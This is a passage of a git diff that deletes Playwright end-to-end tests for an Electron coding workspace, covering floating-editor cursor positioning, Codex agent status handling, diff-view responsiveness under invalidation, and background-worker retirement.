{ window: [cliTabId], storedRows: [cliTabId], storedTabBar: [cliTabId] } - await expect - .poll(async () => (await readTabs(first.page, worktreeId)).storedRows, { timeout: 15_000 }) - .toEqual([cliTabId]) - expect((await readTabs(first.page, worktreeId)).window).toEqual([]) - - await switchToWorktree(first.page, worktreeId) - await expectSettledTabs(first.page, worktreeId, one) - await session.close(app) - app = undefined - - const second = await session.launch() - app = second.app - await waitForSessionReady(second.page) - await switchToWorktree(second.page, worktreeId) - await expectSettledTabs(second.page, worktreeId, one) - } finally { - await session.dispose(app) - } -}) diff --git a/tests/e2e/cli-floating-file-open-position.spec.ts b/tests/e2e/cli-floating-file-open-position.spec.ts deleted file mode 100644 index 4304b3aea05..00000000000 --- a/tests/e2e/cli-floating-file-open-position.spec.ts +++ /dev/null @@ -1,206 +0,0 @@ -import { mkdirSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { runProcess } from '@orca/process-host' -import { expect, test } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { startHiddenRendererFrameCapture } from './helpers/hidden-renderer-frame-capture' - -const FLOATING = 'global-floating-terminal' -const PANEL = '[data-floating-terminal-panel][aria-hidden="false"]' - -test('CLI positions floating files without changing the main workspace or reclaiming its input', async ({ - electronApp, - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - const mainWorktreeId = await waitForActiveWorktree(orcaPage) - const mainRoot = await orcaPage.evaluate( - (id) => - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((worktree) => worktree.id === id)?.path, - mainWorktreeId - ) - if (!mainRoot) { - throw new Error('Main workspace path unavailable') - } - const roots = { main: mainRoot, floating: path.join(mainRoot, 'floating-position-fixture') } - mkdirSync(roots.floating, { recursive: true }) - await electronApp.evaluate(({ dialog }, floatingPath) => { - dialog.showOpenDialog = async () => ({ - canceled: false, - filePaths: [floatingPath], - bookmarks: [] - }) - }, roots.floating) - await orcaPage.evaluate(async (floatingPath) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const pickedPath = await window.api.app.pickFloatingWorkspaceDirectory() - if (pickedPath !== floatingPath) { - throw new Error('Floating directory fixture was not granted') - } - await store.getState().updateSettings({ - floatingTerminalEnabled: true, - floatingTerminalCwd: floatingPath - }) - store.setState({ floatingWorkspacePanelOpen: false }) - }, roots.floating) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const relativePath = 'floating-position-proof.ts' - const emptyPath = 'floating-empty-position-proof.txt' - const mainFile = path.join(roots.main, relativePath) - const floatingFile = path.join(roots.floating, relativePath) - const floatingEmpty = path.join(roots.floating, emptyPath) - const lines = Array.from({ length: 400 }, (_, index) => `const line${index + 1} = ${index + 1}`) - mkdirSync(roots.floating, { recursive: true }) - writeFileSync(mainFile, 'const main = 1\n') - writeFileSync(floatingFile, lines.join('\n')) - writeFileSync(floatingEmpty, '') - const open = async (worktree: string, file: string, flags: string[]): Promise => { - const result = await runProcess({ - program: process.execPath, - args: [ - path.join(process.cwd(), 'out', 'cli', 'index.js'), - 'file', - 'open', - file, - '--worktree', - `id:${worktree}`, - '--json', - ...flags - ], - env: { ...process.env, ORCA_USER_DATA_PATH: userDataDir }, - timeoutMs: 30_000 - }) - expect(result.code, `${result.stderr}\n${result.stdout}`).toBe(0) - } - const pendingPosition = () => - orcaPage.evaluate(() => { - const reveal = window.__store?.getState().pendingEditorReveal - return reveal && { line: reveal.line, column: reveal.column, eligible: reveal.canApply?.() } - }) - const oversizedPosition = { - line: Number.MAX_SAFE_INTEGER, - column: Number.MAX_SAFE_INTEGER, - eligible: true - } - const resumeHiddenRendererFrames = async (): Promise => { - const browserWindow = await electronApp.browserWindow(orcaPage) - // Linux throttles hidden renderers to one frame per second, beyond this reveal's frame budget. - const state = await browserWindow.evaluate((window) => { - window.webContents.setBackgroundThrottling(false) - return { - throttled: window.webContents.getBackgroundThrottling(), - visible: window.isVisible(), - focused: window.isFocused() - } - }) - await browserWindow.dispose() - expect(state).toEqual({ throttled: false, visible: false, focused: false }) - } - let stopFrameCapture: (() => Promise) | undefined - try { - await open(mainWorktreeId, relativePath, ['--focus']) - await expect(orcaPage.locator('.monaco-editor:visible')).toHaveCount(1) - const mainProbe = await orcaPage.evaluateHandle(() => window.__monacoEditorE2E) - const mainInput = orcaPage - .locator('.monaco-editor:visible') - .first() - .getByRole('textbox', { name: 'Editor content' }) - await open(FLOATING, relativePath, ['--focus', '--line', '300', '--column', '7']) - const panel = orcaPage.locator(PANEL) - await expect(panel).toBeVisible() - await expect(panel.locator('.monaco-editor:visible')).toHaveCount(1) - const floatingProbe = await orcaPage.evaluateHandle(() => window.__monacoEditorE2E) - const cursor = () => - floatingProbe.evaluate((probe) => { - const selection = probe?.snapshot().selection - return { line: selection?.positionLineNumber, column: selection?.positionColumn } - }) - await expect.poll(cursor).toEqual({ line: 300, column: 7 }) - const floatingInput = panel.getByRole('textbox', { name: 'Editor content' }) - expect(await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)).toBe( - mainWorktreeId - ) - expect( - await mainProbe.evaluate((probe) => probe?.snapshot().selection?.positionLineNumber) - ).toBe(1) - await open(FLOATING, emptyPath, ['--line', '1']) - await expect(panel.locator('.editor-header-path')).toContainText(relativePath) - expect(await cursor()).toEqual({ line: 300, column: 7 }) - await open(FLOATING, relativePath, ['--line', '17', '--column', '3']) - await orcaPage.waitForTimeout(200) - expect(await cursor()).toEqual({ line: 300, column: 7 }) - await mainInput.focus() - await floatingInput.focus() - await expect.poll(cursor).toEqual({ line: 17, column: 3 }) - - // An oversized line keeps the existing content-wait loop active while the user changes input. - await open(FLOATING, relativePath, [ - '--focus', - '--line', - String(Number.MAX_SAFE_INTEGER), - '--column', - String(Number.MAX_SAFE_INTEGER) - ]) - await expect.poll(pendingPosition).toEqual(oversizedPosition) - await mainInput.focus() - expect(await pendingPosition()).toEqual({ ...oversizedPosition, eligible: false }) - await resumeHiddenRendererFrames() - stopFrameCapture = await startHiddenRendererFrameCapture(orcaPage) - await orcaPage.waitForTimeout(3500) - expect(await cursor()).toEqual({ line: 17, column: 3 }) - await expect(mainInput).toBeFocused() - await floatingInput.focus() - await expect - .poll(cursor, { timeout: 8000 }) - .toEqual({ line: 400, column: lines[399].length + 1 }) - const proofDir = path.join(process.cwd(), 'validation-screenshots', 'file-position-floating') - mkdirSync(proofDir, { recursive: true }) - await testInfo.attach('floating-position-clamped.png', { - body: await orcaPage.screenshot({ path: path.join(proofDir, 'clamped.png') }), - contentType: 'image/png' - }) - await open(FLOATING, emptyPath, [ - '--focus', - '--line', - String(Number.MAX_SAFE_INTEGER), - '--column', - String(Number.MAX_SAFE_INTEGER) - ]) - await expect.poll(pendingPosition).toEqual(oversizedPosition) - await resumeHiddenRendererFrames() - await expect - .poll( - () => - orcaPage.evaluate(() => { - const selection = window.__monacoEditorE2E?.snapshot().selection - return { line: selection?.positionLineNumber, column: selection?.positionColumn } - }), - { timeout: 8000 } - ) - .toEqual({ line: 1, column: 1 }) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().pendingEditorReveal)) - .toBeNull() - expect(await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)).toBe( - mainWorktreeId - ) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible() && !window.isFocused()) - ) - ).toBe(true) - } finally { - try { - await stopFrameCapture?.() - } finally { - for (const file of [mainFile, floatingFile, floatingEmpty]) { - rmSync(file, { force: true }) - } - } - } -}) diff --git a/tests/e2e/codex-ctrl-c-status.spec.ts b/tests/e2e/codex-ctrl-c-status.spec.ts deleted file mode 100644 index e7f7c41c783..00000000000 --- a/tests/e2e/codex-ctrl-c-status.spec.ts +++ /dev/null @@ -1,146 +0,0 @@ -import { appendFileSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { - buildShellCommandFromArgv, - resolveStartupShell -} from '../../src/shared/agent-launch/startup/tui-agent-startup-shell' -import { resolveLocalWindowsAgentStartupShell } from '../../src/shared/shell/launch/windows-terminal-shell' -import { test, expect } from './helpers/orca-app' -import { emitCodexHookStatus, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - execInTerminal, - waitForActivePanePtyId, - waitForTerminalOutput, - waitForActivePaneHookDescriptor, - waitForActiveTerminalManager -} from './helpers/terminal' - -// Replay navigation input through a real PTY; hook and rollout fixtures own agent status. -for (const navigation of ['Control+c', 'F3 search', '/permissions'] as const) { - test(`Codex ${navigation} preserves working status until a confirmed interruption`, async ({ - orcaPage, - electronApp - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setAgentActivityDisplayMode('full') - if (state && !state.worktreeCardProperties.includes('inline-agents')) { - state.setWorktreeCardProperties([...state.worktreeCardProperties, 'inline-agents']) - } - }) - const dir = mkdtempSync(join(tmpdir(), 'orca-codex-interruption-')) - const transcriptPath = join(dir, 'rollout-root.jsonl') - writeFileSync( - transcriptPath, - `${JSON.stringify({ type: 'event_msg', payload: { type: 'task_started', turn_id: 'turn-1' } })}\n` - ) - try { - const inputScript = join(dir, 'codex-input.cjs') - writeFileSync( - inputScript, - ` -process.stdin.setRawMode(true) -process.stdin.resume() -process.stdin.on('data', (chunk) => { - if (chunk.includes(3)) process.stdout.write('ORCA_CTRL_C_RECEIVED\\n') - if (chunk.toString() === '\\x1bOR' || chunk.toString() === '\\x1b[13~') { - process.stdout.write('ORCA_F3_SEARCH_OPENED\\n') - } - if (chunk.includes(13)) process.stdout.write('ORCA_PERMISSIONS_OPENED\\n') - if (chunk.toString() === '\\x1b') process.stdout.write('ORCA_ESCAPE_RECEIVED: view dismissed; main task continues\\n') -}) -process.stdout.write('ORCA_CODEX_INPUT_READY\\n') -` - ) - const terminalWindowsShell = await orcaPage.evaluate( - () => window.__store?.getState().settings?.terminalWindowsShell - ) - const shell = resolveStartupShell( - process.platform, - resolveLocalWindowsAgentStartupShell({ - platform: process.platform, - isRemote: false, - terminalWindowsShell - }) - ) - const ptyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal( - orcaPage, - ptyId, - buildShellCommandFromArgv([process.execPath, inputScript], shell) - ) - await waitForTerminalOutput(orcaPage, 'ORCA_CODEX_INPUT_READY') - await emitCodexHookStatus(endpoint, { - ...descriptor, - transcriptPath, - sessionId: 'main-session', - state: 'working', - prompt: 'Main task continues' - }) - const working = orcaPage.locator('[aria-label="Working"]') - const interrupted = orcaPage.locator('[aria-label="Interrupted"]') - await expect(working.first()).toBeVisible() - await emitCodexHookStatus(endpoint, { - ...descriptor, - state: 'working', - sessionId: 'side-session', - transcriptPath: null, - prompt: 'Side chat' - }) - await expect(orcaPage.getByText('Main task continues', { exact: true })).toBeVisible() - await focusActiveTerminalInput(orcaPage) - const key = navigation === 'Control+c' ? 'Control+c' : 'Escape' - if (navigation === 'F3 search') { - await orcaPage.keyboard.press('F3') - await waitForTerminalOutput(orcaPage, 'ORCA_F3_SEARCH_OPENED') - } else if (navigation === '/permissions') { - await orcaPage.keyboard.type('/permissions') - await orcaPage.keyboard.press('Enter') - await waitForTerminalOutput(orcaPage, 'ORCA_PERMISSIONS_OPENED') - } - await orcaPage.keyboard.press(key) - await waitForTerminalOutput( - orcaPage, - key === 'Escape' ? 'ORCA_ESCAPE_RECEIVED' : 'ORCA_CTRL_C_RECEIVED' - ) - // Allow the old 500 ms inference timer to fire before recording the rendered result. - await orcaPage.waitForTimeout(1_000) - await orcaPage.screenshot({ - path: testInfo.outputPath('status-after-input.png') - }) - await expect(interrupted).toHaveCount(0) - await expect(working.first()).toBeVisible() - - appendFileSync( - transcriptPath, - `${JSON.stringify({ type: 'event_msg', payload: { type: 'turn_aborted', turn_id: 'turn-1', reason: 'interrupted' } })}\n` - ) - await expect(interrupted.first()).toBeVisible() - await expect(working).toHaveCount(0) - await orcaPage.screenshot({ - path: testInfo.outputPath('status-after-confirmed-interruption.png') - }) - await emitCodexHookStatus(endpoint, { - ...descriptor, - state: 'working', - prompt: 'Next main task' - }) - await expect(working.first()).toBeVisible() - await expect(interrupted).toHaveCount(0) - await emitCodexHookStatus(endpoint, { ...descriptor, state: 'done' }) - await expect(working).toHaveCount(0) - await expect(interrupted).toHaveCount(0) - } finally { - rmSync(dir, { recursive: true, force: true }) - } - }) -} diff --git a/tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts b/tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts deleted file mode 100644 index cbb0d9ebd06..00000000000 --- a/tests/e2e/combined-diff-invalidation-freeze-repro.spec.ts +++ /dev/null @@ -1,313 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { rmSync } from 'node:fs' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { - createIsolatedManyFileStagedDiffRepo, - createIsolatedStagedLocaleDiffRepo -} from './large-diff-repro-fixtures' - -async function addAndActivateRepo(orcaPage: Page, repoPath: string): Promise { - const repoId = await orcaPage.evaluate(async (pathToRepo: string) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const addedRepo = await store.getState().addRepoPath(pathToRepo) - if (!addedRepo) { - throw new Error(`isolated repo not found: ${pathToRepo}`) - } - return addedRepo.id - }, repoPath) - - await expect - .poll( - () => - orcaPage.evaluate(async (targetRepoId: string) => { - const store = window.__store - if (!store) { - return 0 - } - await store.getState().fetchWorktrees(targetRepoId) - return store.getState().worktreesByRepo[targetRepoId]?.length ?? 0 - }, repoId), - { timeout: 30_000, message: 'isolated staged-diff worktree did not load' } - ) - .toBeGreaterThan(0) - - return orcaPage.evaluate( - ({ targetRepoId, pathToRepo }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktrees = state.worktreesByRepo[targetRepoId] ?? [] - const worktree = worktrees.find((entry) => entry.path === pathToRepo) ?? worktrees[0] - if (!worktree) { - throw new Error(`isolated worktree not found: ${pathToRepo}`) - } - state.setActiveRepo(targetRepoId) - state.setActiveWorktree(worktree.id) - return worktree.id - }, - { targetRepoId: repoId, pathToRepo: repoPath } - ) -} - -test.describe('Combined diff invalidation freeze repro (STA-3420)', () => { - test.describe.configure({ mode: 'serial' }) - test.use({ seedTestRepo: false }) - - test('committing under an open Staged Changes diff keeps the renderer responsive', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const fixture = createIsolatedStagedLocaleDiffRepo() - - try { - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - - const opened = await orcaPage.evaluate( - async ({ wId, repoPath }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const status = await window.api.git.status({ worktreePath: repoPath }) - store.getState().setGitStatus(wId, status) - const staged = status.entries.filter((entry) => entry.area === 'staged') - if (staged.length === 0) { - throw new Error('fixture produced no staged entries') - } - // Why: mirrors the Source Control "Staged Changes" tab, which snapshots entries at open. - store.getState().openAllDiffs(wId, repoPath, undefined, 'staged', staged) - - const startedAt = performance.now() - let editorCount = 0 - while (performance.now() - startedAt < 30_000) { - await new Promise((resolve) => window.setTimeout(resolve, 50)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - if (editorCount > 0) { - await new Promise((resolve) => window.setTimeout(resolve, 1_500)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - break - } - } - return { stagedCount: staged.length, editorCount } - }, - { wId: worktreeId, repoPath: fixture.repoPath } - ) - console.log(`staged diff opened ${JSON.stringify(opened)}`) - expect(opened.editorCount).toBeGreaterThan(0) - - // Why: the reported freeze starts when the open diff is invalidated by a - // commit/rebase — the snapshot files stop having any staged diff at all. - execFileSync('git', ['commit', '-m', 'Invalidate the open staged diff'], { - cwd: fixture.repoPath, - stdio: 'pipe' - }) - - const measurement = await orcaPage.evaluate( - async ({ wId, repoPath }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const intervalMs = 50 - const samples: number[] = [] - let last = performance.now() - let maxLagMs = 0 - const timer = window.setInterval(() => { - const now = performance.now() - const lag = Math.max(0, now - last - intervalMs) - maxLagMs = Math.max(maxLagMs, lag) - samples.push(lag) - last = now - }, intervalMs) - - const startedAt = performance.now() - try { - // Why: the file watcher pushes several status refreshes while git - // rewrites the index; replay that churn instead of a single update. - for (let round = 0; round < 3; round += 1) { - const status = await window.api.git.status({ worktreePath: repoPath }) - store.getState().setGitStatus(wId, status) - await new Promise((resolve) => window.setTimeout(resolve, 700)) - } - await new Promise((resolve) => window.setTimeout(resolve, 3_000)) - } finally { - window.clearInterval(timer) - } - - const sorted = [...samples].sort((a, b) => a - b) - return { - elapsedMs: performance.now() - startedAt, - maxLagMs, - p95LagMs: sorted.length ? sorted[Math.floor(sorted.length * 0.95)] : 0, - sampleCount: samples.length, - editorCount: document.querySelectorAll('.monaco-diff-editor').length, - loadingRowCount: Array.from( - document.querySelectorAll('[data-combined-diff-section-row]') - ).filter((row) => row.textContent?.includes('Loading diff')).length, - sectionRowCount: document.querySelectorAll('[data-combined-diff-section-row]').length - } - }, - { wId: worktreeId, repoPath: fixture.repoPath } - ) - - console.log(`invalidation measurement ${JSON.stringify(measurement)}`) - expect(measurement.maxLagMs).toBeLessThan(1_000) - // Why: staying responsive isn't enough — invalidation must also leave the rows loaded - // instead of parking a section in its loading state. - expect(measurement.loadingRowCount).toBe(0) - expect(measurement.editorCount).toBeGreaterThan(0) - } finally { - rmSync(fixture.repoPath, { recursive: true, force: true }) - } - }) - - test('a rebase-style burst of external file changes keeps the diff responsive and loaded', async ({ - orcaPage - }) => { - test.setTimeout(240_000) - await waitForSessionReady(orcaPage) - // Use large sections so remounting redoes Monaco diff work over thousands of changed lines. - const fixture = createIsolatedManyFileStagedDiffRepo(8, 15_000) - - try { - const worktreeId = await addAndActivateRepo(orcaPage, fixture.repoPath) - - const opened = await orcaPage.evaluate( - async ({ wId, repoPath }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const status = await window.api.git.status({ worktreePath: repoPath }) - store.getState().setGitStatus(wId, status) - const staged = status.entries.filter((entry) => entry.area === 'staged') - store.getState().openAllDiffs(wId, repoPath, undefined, 'staged', staged) - - const startedAt = performance.now() - let editorCount = 0 - while (performance.now() - startedAt < 30_000) { - await new Promise((resolve) => window.setTimeout(resolve, 50)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - if (editorCount > 0) { - await new Promise((resolve) => window.setTimeout(resolve, 1_500)) - editorCount = document.querySelectorAll('.monaco-diff-editor').length - break - } - } - return { stagedCount: staged.length, editorCount } - }, - { wId: worktreeId, repoPath: fixture.repoPath } - ) - console.log(`staged diff opened for burst ${JSON.stringify(opened)}`) - expect(opened.editorCount).toBeGreaterThan(0) - - const measurement = await orcaPage.evaluate( - async ({ wId, repoPath, relativePaths, burstDurationMs }) => { - const intervalMs = 50 - type LagWindow = { maxLagMs: number; p95LagMs: number; sampleCount: number } - const startLagMeter = (): (() => LagWindow) => { - const samples: number[] = [] - let last = performance.now() - let maxLagMs = 0 - const timer = window.setInterval(() => { - const now = performance.now() - maxLagMs = Math.max(maxLagMs, Math.max(0, now - last - intervalMs)) - samples.push(Math.max(0, now - last - intervalMs)) - last = now - }, intervalMs) - return () => { - window.clearInterval(timer) - const sorted = [...samples].sort((a, b) => a - b) - return { - maxLagMs, - p95LagMs: sorted.length ? sorted[Math.floor(sorted.length * 0.95)] : 0, - sampleCount: samples.length - } - } - } - - // Let initial Monaco mounts settle before measuring invalidation cost. - const stopSettle = startLagMeter() - const settleStartedAt = performance.now() - let settleWindows = 0 - let quietWindows = 0 - while (performance.now() - settleStartedAt < 60_000 && quietWindows < 2) { - const stopWindow = startLagMeter() - await new Promise((resolve) => window.setTimeout(resolve, 1_000)) - settleWindows += 1 - quietWindows = stopWindow().maxLagMs < 100 ? quietWindows + 1 : 0 - } - const settle = { ...stopSettle(), settleWindows } - - // Measure an identical idle window so mounted-editor stalls establish this runner’s baseline. - const stopBaseline = startLagMeter() - await new Promise((resolve) => window.setTimeout(resolve, burstDurationMs)) - const baseline = stopBaseline() - - const stopBurst = startLagMeter() - const startedAt = performance.now() - // Deliver each watcher notification in its own task, matching per-path debounce during rebase. - for (let round = 0; round < 3; round += 1) { - for (const relativePath of relativePaths) { - window.setTimeout(() => { - window.dispatchEvent( - new CustomEvent('orca:editor-external-file-change', { - detail: { worktreeId: wId, worktreePath: repoPath, relativePath } - }) - ) - }, 0) - } - await new Promise((resolve) => window.setTimeout(resolve, 1_000)) - } - await new Promise((resolve) => window.setTimeout(resolve, burstDurationMs - 3_000)) - const burst = stopBurst() - - const rows = Array.from( - document.querySelectorAll('[data-combined-diff-section-row]') - ) as HTMLElement[] - return { - elapsedMs: performance.now() - startedAt, - settle, - baseline, - burst, - expectedSampleCount: Math.floor(burstDurationMs / intervalMs), - editorCount: document.querySelectorAll('.monaco-diff-editor').length, - sectionRowCount: rows.length, - stuckLoadingRowCount: rows.filter((row) => row.textContent?.includes('Loading diff')) - .length - } - }, - { - wId: worktreeId, - repoPath: fixture.repoPath, - relativePaths: fixture.relativePaths, - burstDurationMs: 18_000 - } - ) - - console.log(`external-change burst measurement ${JSON.stringify(measurement)}`) - expect(measurement.sectionRowCount).toBe(1) - expect(measurement.stuckLoadingRowCount).toBe(0) - expect(measurement.editorCount).toBeGreaterThan(0) - // Compare burst cost against the same idle fixture; fixed budgets confuse machine floor with invalidation regressions. - expect(measurement.burst.p95LagMs).toBeLessThanOrEqual(measurement.baseline.p95LagMs + 100) - expect(measurement.burst.sampleCount).toBeGreaterThanOrEqual( - Math.min(measurement.baseline.sampleCount, measurement.expectedSampleCount) * 0.85 - ) - // Peak lag follows idle fixture cost; gate only an added second of blocking above that floor. - expect(measurement.burst.maxLagMs).toBeLessThanOrEqual( - Math.max(measurement.baseline.maxLagMs, 100) + 1_000 - ) - } finally { - rmSync(fixture.repoPath, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/completed-worker-retirement-resume.spec.ts b/tests/e2e/completed-worker-retirement-resume.spec.ts deleted file mode 100644 index 521ac32041c..00000000000 --- a/tests/e2e/completed-worker-retirement-resume.spec.ts +++ /dev/null @@ -1,481 +0,0 @@ -import { test as base, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { FAKE_AGENT_WINDOWS_SHELL } from './helpers/fake-agent-command-override' -import { - cleanupCompletedWorkerFixture, - clearCompletedWorkerLedger, - completedWorkerFakeCodexCommand, - completedWorkerLaunchEnv, - listRuntimeTerminals, - hasCompletedWorkerReceivedPreamble, - readCompletedWorkerLedger, - readPersistedWorkerRecoveryRecord, - runBuiltOrcaCli, - seedCurrentCodexTranscript, - terminalIdentity -} from './helpers/completed-worker-retirement-fixture' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { - RuntimeTerminalRead, - RuntimeTerminalSummary -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { splitWorktreeIdForFilesystem } from '../../src/shared/worktree/id' - -const PROVIDER_SESSION_ID = '019feb51-2269-71c2-89c6-faa8dc65c8dc' - -const test = base.extend({ - launchEnv: completedWorkerLaunchEnv -}) - -test.describe.configure({ mode: 'serial' }) - -test.afterAll(() => { - cleanupCompletedWorkerFixture() -}) - -for (const closeMode of ['terminal-close-cli', 'worker-release'] as const) { - test(`completed background worker ${closeMode} retires resume authority before first activation`, async ({ - orcaPage, - electronApp - }) => { - test.setTimeout(180_000) - clearCompletedWorkerLedger() - await waitForSessionReady(orcaPage) - const coordinatorWorktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - await orcaPage.evaluate( - async ({ agentCommand, terminalWindowsShell }) => { - await window.__store?.getState().updateSettings({ - agentCmdOverrides: { codex: agentCommand }, - terminalWindowsShell, - disabledTuiAgents: [], - terminalHiddenViewParking: false - }) - }, - { - agentCommand: completedWorkerFakeCodexCommand, - terminalWindowsShell: FAKE_AGENT_WINDOWS_SHELL - } - ) - - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const isolatedHome = await electronApp.evaluate(({ app }) => app.getPath('home')) - const client = new RuntimeClient(userDataDir, 30_000, null, null) - const coordinatorPane = await waitForActivePaneHookDescriptor(orcaPage) - const coordinatorResolved = await client.call<{ terminal: { handle: string } }>( - 'terminal.resolvePane', - { paneKey: coordinatorPane.paneKey } - ) - const coordinatorHandle = coordinatorResolved.result.terminal.handle - const coordinator = (await listRuntimeTerminals(client)).find( - (terminal) => terminal.handle === coordinatorHandle - ) - if (!coordinator) { - throw new Error('Coordinator terminal was not runtime-visible') - } - const coordinatorBefore = terminalIdentity(coordinator) - - let polledWorktreeId: string | null | undefined - await expect - .poll( - async () => { - const listed = await client.call<{ worktrees: { id: string }[] }>('worktree.list', {}) - const rendererWorktreeIds = await orcaPage.evaluate(() => - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .map((worktree) => worktree.id) - ) - polledWorktreeId = - listed.result.worktrees.find( - (worktree) => - worktree.id !== coordinatorWorktreeId && rendererWorktreeIds.includes(worktree.id) - )?.id ?? null - return polledWorktreeId - }, - { timeout: 60_000, message: 'runtime never registered the secondary worktree' } - ) - .not.toBeNull() - if (!polledWorktreeId) { - throw new Error('The seeded repository did not expose its secondary worktree') - } - const targetWorktreeId = polledWorktreeId - const targetWorktreePath = splitWorktreeIdForFilesystem(targetWorktreeId)?.worktreePath - if (!targetWorktreePath) { - throw new Error('The secondary worktree did not expose a filesystem path') - } - - expect( - await orcaPage.evaluate( - (worktreeId) => window.__store?.getState().everActivatedWorktreeIds.has(worktreeId), - targetWorktreeId - ) - ).toBe(false) - - const run = await client.call<{ run: { id: string } }>('orchestration.runCreate', { - objective: 'Retire one completed background worker', - from: coordinatorHandle - }) - const task = await client.call<{ task: { id: string } }>('orchestration.taskCreate', { - spec: 'Report completion, then exit normally', - run: run.result.run.id, - callerTerminalHandle: coordinatorHandle - }) - const started = await client.call<{ - dispatchId: string - state: string - effects: { kind: string; role?: string; id?: string }[] - }>('orchestration.workerStart', { - task: task.result.task.id, - from: coordinatorHandle, - worktree: `id:${String(targetWorktreeId)}`, - agent: 'codex', - timeoutMs: 30_000 - }) - expect(started.result.state).toBe('ready') - const workerHandle = started.result.effects.find( - (effect) => effect.kind === 'terminal' && effect.role === 'agent' - )?.id - if (!workerHandle) { - throw new Error('worker-start did not return its agent terminal') - } - - let worker: RuntimeTerminalSummary | undefined - await expect - .poll( - async () => { - worker = (await listRuntimeTerminals(client)).find( - (terminal) => terminal.handle === workerHandle - ) - return worker?.ptyId ?? null - }, - { timeout: 30_000, message: 'background worker never published its PTY identity' } - ) - .not.toBeNull() - if (!worker?.ptyId || !worker.incarnationId) { - throw new Error('Background worker did not publish exact PTY identity') - } - const workerBefore = terminalIdentity(worker) - const workerPaneKey = `${worker.tabId}:${worker.leafId}` - expect(worker.worktreeId).toBe(targetWorktreeId) - // Keep the never-opened worker dormant so foreground-shell cleanup cannot retire it first. - expect( - await orcaPage.evaluate( - (tabId) => Boolean(window.__paneManagers?.get(tabId)), - workerBefore.tabId - ) - ).toBe(false) - expect( - await orcaPage.evaluate( - (worktreeId) => window.__store?.getState().everActivatedWorktreeIds.has(worktreeId), - targetWorktreeId - ) - ).toBe(false) - await expect - .poll(() => readCompletedWorkerLedger().filter((event) => event.event === 'spawn')) - .toHaveLength(1) - await expect.poll(() => hasCompletedWorkerReceivedPreamble()).toBe(true) - await expect - .poll(() => - readCompletedWorkerLedger() - .filter((event) => event.event === 'ack') - .map((event) => event.mode) - ) - .toEqual(['bracketed']) - - seedCurrentCodexTranscript(isolatedHome, PROVIDER_SESSION_ID, targetWorktreePath) - - await client.call('terminal.send', { - terminal: workerHandle, - text: 'ORCA_E2E_PUBLISH_DONE', - enter: true - }) - - const expectedRecovery = { - origin: 'live', - state: 'done', - providerSessionId: PROVIDER_SESSION_ID - } - await expect - .poll(() => - orcaPage.evaluate((paneKey) => { - const record = window.__store?.getState().sleepingAgentSessionsByPaneKey[paneKey] - return record - ? { - origin: record.origin, - state: record.state, - providerSessionId: record.providerSession.id - } - : null - }, workerPaneKey) - ) - .toEqual(expectedRecovery) - await expect - .poll( - () => { - const record = readPersistedWorkerRecoveryRecord(userDataDir, workerPaneKey) - return record - ? { - origin: record.origin, - state: record.state, - providerSessionId: record.providerSession?.id - } - : null - }, - { timeout: 30_000 } - ) - .toEqual(expectedRecovery) - - const completed = await client.call<{ message: { type: string } }>('orchestration.send', { - from: workerHandle, - subject: 'Completed', - body: 'The fixture completed. It found no work. Nothing remains.', - type: 'worker_done', - payload: JSON.stringify({ - taskId: task.result.task.id, - dispatchId: started.result.dispatchId, - outcome: 'succeeded' - }) - }) - expect(completed.result.message.type).toBe('worker_done') - await expect - .poll( - async () => { - const dispatch = await client.call<{ dispatch: { status: string } | null }>( - 'orchestration.dispatchShow', - { task: task.result.task.id } - ) - const tasks = await client.call<{ tasks: { id: string; status: string }[] }>( - 'orchestration.taskList', - { run: run.result.run.id } - ) - return { - dispatch: dispatch.result.dispatch?.status ?? null, - task: - 